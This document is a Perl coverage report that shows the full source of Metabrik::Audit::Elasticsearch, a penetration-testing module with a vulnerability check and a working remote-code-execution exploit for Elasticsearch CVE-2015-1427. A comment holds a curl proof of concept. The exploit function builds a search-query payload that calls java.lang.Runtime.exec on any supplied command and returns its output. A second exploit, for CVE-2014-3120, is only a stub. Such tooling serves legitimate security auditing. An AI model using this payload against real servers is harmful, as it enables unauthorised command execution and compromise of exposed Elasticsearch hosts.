File Coverage

blib/lib/Metabrik/Audit/Elasticsearch.pm
Criterion Covered Total %
statement 9 57 15.7
branch 0 34 0.0
condition 0 34 0.0
subroutine 3 7 42.8
pod 1 4 25.0
total 13 136 9.5


line stmt bran cond sub pod time code
1             #
2             # $Id$
3             #
4             # audit::elasticsearch Brik
5             #
6             package Metabrik::Audit::Elasticsearch;
7 1     1   684 use strict;
  1         2  
  1         33  
8 1     1   6 use warnings;
  1         2  
  1         27  
9              
10 1     1   6 use base qw(Metabrik::Client::Www);
  1         28  
  1         1050  
11              
12             sub brik_properties {
13             return {
14 0     0 1   revision => '$Revision$',
15             tags => [ qw(unstable) ],
16             author => 'GomoR ',
17             license => 'http://opensource.org/licenses/BSD-3-Clause',
18             attributes => {
19             uri => [ qw(uri) ],
20             },
21             commands => {
22             check_cve_2015_1427_rce => [ qw(uri|OPTIONAL) ],
23             exploit_cve_2015_1427_rce => [ qw(command uri|OPTIONAL) ],
24             exploit_cve_2014_3120_rce => [ qw(command uri|OPTIONAL) ],
25             },
26             require_modules => {
27             'Metabrik::String::Json' => [ ],
28             'Metabrik::String::Parse' => [ ],
29             },
30             };
31             }
32              
33             #
34             # http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2015-1427
35             # https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/
36             # PoC: curl 'http://nile:9200/_search?pretty' -XPOST -d '{"script_fields": {"myscript": {"script": "java.lang.Math.class.forName(\"java.lang.Runtime\")"}}}'
37             #
38             sub check_cve_2015_1427_rce {
39 0     0 0   my $self = shift;
40 0           my ($uri) = @_;
41              
42 0   0       $uri ||= $self->uri;
43 0 0         $self->brik_help_run_undef_arg('check_cve_2015_1427_rce', $uri) or return;
44              
45 0           $uri =~ s{^(http://[^:]+:\d+).*}{$1};
46 0 0         if ($uri !~ m{^http://[^:]+:\d+$}) {
47 0           return $self->log->error("check_cve_2015_1427_rce: invalid uri [$uri], ".
48             "try something like http://localhost:9200");
49             }
50              
51 0           my $check = '{"script_fields": {"myscript": {"script": '.
52             '"java.lang.Math.class.forName(\"java.lang.Runtime\")"'.
53             '}}}';
54              
55 0           my $url = $uri.'/_search/?pretty';
56              
57 0           $self->log->debug("check_cve_2015_1427_rce: POSTing to ".
58             "url [$url] with data [$check]");
59              
60 0 0         my $reply = $self->post($check, $url) or return;
61              
62             my $content = $reply->{content}
63 0 0         or return $self->log->error("check_cve_2015_1427_rce: no content found");
64              
65 0 0         my $sj = Metabrik::String::Json->new_from_brik_init($self) or return;
66              
67 0 0         my $ref = $sj->decode($content) or return;
68              
69 0 0 0       if ($ref->{hits} && $ref->{hits}{hits} && $ref->{hits}{hits}[0]
      0        
      0        
      0        
70             && $ref->{hits}{hits}[0]{fields}
71             && $ref->{hits}{hits}[0]{fields}{myscript}) {
72 0   0       my $result = $ref->{hits}{hits}[0]{fields}{myscript}[0] || 'undef';
73 0 0         if ($result ne 'undef') {
74 0           $self->log->verbose("check_cve_2015_1427_rce: vulnerable [$result]");
75 0           return 1;
76             }
77             }
78             else {
79 0           $self->log->verbose("check_cve_2015_1427_rce: NOT vulnerable");
80 0           return 0;
81             }
82              
83 0           return $self->log->error("check_cve_2015_1427_rce: unknown error");
84             }
85              
86             #
87             # Thanks to: https://github.com/XiphosResearch/exploits/tree/master/ElasticSearch
88             # But they stole our logo font with bleeding letters ;)
89             #
90             sub exploit_cve_2015_1427_rce {
91 0     0 0   my $self = shift;
92 0           my ($command, $uri) = @_;
93              
94 0   0       $uri ||= $self->uri;
95 0 0         $self->brik_help_run_undef_arg('exploit_cve_2015_1427_rce', $command) or return;
96 0 0         $self->brik_help_run_undef_arg('exploit_cve_2015_1427_rce', $uri) or return;
97              
98 0           $uri =~ s{^(http://[^:]+:\d+).*}{$1};
99 0 0         if ($uri !~ m{^http://[^:]+:\d+$}) {
100 0           return $self->log->error("exploit_cve_2015_1427_rce: invalid uri [$uri], ".
101             "try something like http://localhost:9200");
102             }
103              
104 0           my $check = '{ "size":1, "script_fields": { "lupin": { "script": '.
105             '"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"'.
106             $command.
107             '\").getText()"'.
108             '}}}';
109              
110 0           my $url = $uri.'/_search/?pretty';
111              
112 0           $self->log->debug("exploit_cve_2015_1427_rce: POSTing to ".
113             "url [$url] with data [$check]");
114              
115 0 0         my $reply = $self->post($check, $url) or return;
116              
117             my $content = $reply->{content}
118 0 0         or return $self->log->error("exploit_cve_2015_1427_rce: no content found");
119              
120 0 0         my $sj = Metabrik::String::Json->new_from_brik_init($self) or return;
121              
122 0 0         my $ref = $sj->decode($content) or return;
123              
124 0 0 0       if ($ref->{hits} && $ref->{hits}{hits} && $ref->{hits}{hits}[0]
      0        
      0        
      0        
125             && $ref->{hits}{hits}[0]{fields}
126             && $ref->{hits}{hits}[0]{fields}{lupin}) {
127 0           $self->log->verbose("exploit_cve_2015_1427_rce: vulnerable");
128 0   0       my $result = $ref->{hits}{hits}[0]{fields}{lupin}[0] || 'undef';
129              
130 0 0         my $sp = Metabrik::String::Parse->new_from_brik_init($self) or return;
131 0           return $sp->to_array($result);
132             }
133             else {
134 0           $self->log->verbose("exploit_cve_2015_1427_rce: NOT vulnerable");
135 0           return 0;
136             }
137              
138 0           return $self->log->error("exploit_cve_2015_1427_rce: unknown error");
139             }
140              
141             #
142             # http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2014-3120
143             # http://bouk.co/blog/elasticsearch-rce/
144             #
145             sub exploit_cve_2014_3120_rce {
146 0     0 0   my $self = shift;
147              
148 0           return $self->log->error("exploit_cve_2014_3120_rce: TODO");
149             }
150              
151             1;
152              
153             __END__